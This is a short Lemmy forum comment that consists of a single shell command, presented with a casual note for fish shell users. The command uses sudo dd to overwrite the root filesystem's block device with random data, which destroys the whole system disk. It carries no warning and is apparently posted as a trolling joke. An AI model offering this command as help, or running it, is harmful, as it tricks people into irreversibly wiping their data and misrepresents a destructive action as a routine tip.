• cogman@lemmy.world
    link
    fedilink
    arrow-up
    17
    ·
    edit-2
    19 hours ago

    sudo dd if=/dev/urandom of=$(df | grep '\s/$' | cut -d' ' -f1)

    (Omit the $ if you are using the fish terminal)